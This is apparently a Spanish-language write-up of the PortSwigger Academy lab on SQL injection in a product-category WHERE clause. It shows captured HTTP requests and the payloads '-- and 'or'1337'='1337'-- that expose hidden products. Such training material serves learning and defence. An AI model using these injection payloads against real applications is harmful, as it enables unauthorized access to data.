> For the complete documentation index, see [llms.txt](https://www.xtormin.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xtormin.com/labs/portswigger-academy/sql-injection/lab-sql-injection-vulnerability-in-where-clause-allowing-retrieval-of-hidden-data.md).

# Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

## Información del laboratorio

<https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data>

En este laboratorio hay una vulnerabilidad de inyección SQL en el filtro de la categoría del producto.

Cuando el usuario selecciona una categoría, la aplicación realiza una consulta SQL como la siguiente:

```sql
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
```

## Flujo de explotación

### Captura de la petición

Para capturar la petición, se realiza click sobre la funcionalidad de filtrado:

<figure><img src="/files/5ur19LQJMO3XqMku8TK8" alt=""><figcaption></figcaption></figure>

Tras ello, se captura la petición en Burp. Para poder identificar si es vulnerable a SQLi y manipular la consulta de forma que obtengamos la información que queramos, se pueden probar múltiples payloads.

### Respuesta sin modificar

Primero hay que observar cuál es la respuesta sin alterar, de forma que posteriormente al insertar el payload podamos identificar el cambio en el comportamiento.

* Petición:

{% code overflow="wrap" %}

```http
GET /filter?category=Accessories HTTP/2
Host: 0a5f004c03a7205380b7d16a00b1009b.web-security-academy.net
Cookie: session=rkEdMX4V5gH6e1eu06nf4HRxl2bVD5VH
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Referer: https://0a5f004c03a7205380b7d16a00b1009b.web-security-academy.net/filter?category=Accessories
```

{% endcode %}

* Respuesta sin modificar:

<figure><img src="/files/EgCNuZj5ujfSByYpuJxB" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oZ494rxl9gNp4MMTfHoQ" alt=""><figcaption></figcaption></figure>

### Petición modificada con payload `'--`

Por ejemplo, sabiendo que la consulta realizada es:

```sql
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
```

Se podría insertar el payload `'--`, que provocaría que la consulta quedara de la siguiente forma y muestre los items sin que cumplan la condición `released = 1`:

```sql
SELECT * FROM products WHERE category = 'Accessories'--' AND released = 1
```

Con dicha modificación la petición mostraría un item más, esto confirma que hemos podido alterar la consulta:

<figure><img src="/files/Xrd8IbPRJJjU5Ia0gJar" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ZKHrfP6BXPRjdjAIb2lG" alt=""><figcaption></figcaption></figure>

Ahora vamos a modificarla de forma que se pueda obtener toda la información de los items, para ello, se puede usar una consulta lógica que siempre se cumpla, y por lo tanto, obtengamos todos los datos sin filtrar.

### Petición modificada con payload `'or'1337'='1337'--`

Existen múltiples payloads que permiten provocar que una condición se cumpla, el payload elegido dependerá de muchos factores. Un ejemplo clásico es usar un operador lógico OR que se añada a la consulta y que al cumplirse siempre, muestre toda la información.

Por ejemplo, sabiendo que la consulta realizada es:

{% code overflow="wrap" %}

```sql
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
```

{% endcode %}

Se podría insertar el payload `'--`, que provocaría que la consulta quedara de la siguiente forma y muestre los items sin que cumplan la condición `released = 1`:

{% code overflow="wrap" %}

```sql
SELECT * FROM products WHERE category = 'Accessories'or'1337'='1337'--' AND released = 1
```

{% endcode %}

Con dicha modificación la petición mostraría todos los items de la tabla `products`, ya que 1337 siempre es igual a 1337:

<figure><img src="/files/XfmeGAQK2o4gi7dEbTDr" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/we38lUxEDeZ0klE5usee" alt=""><figcaption></figcaption></figure>
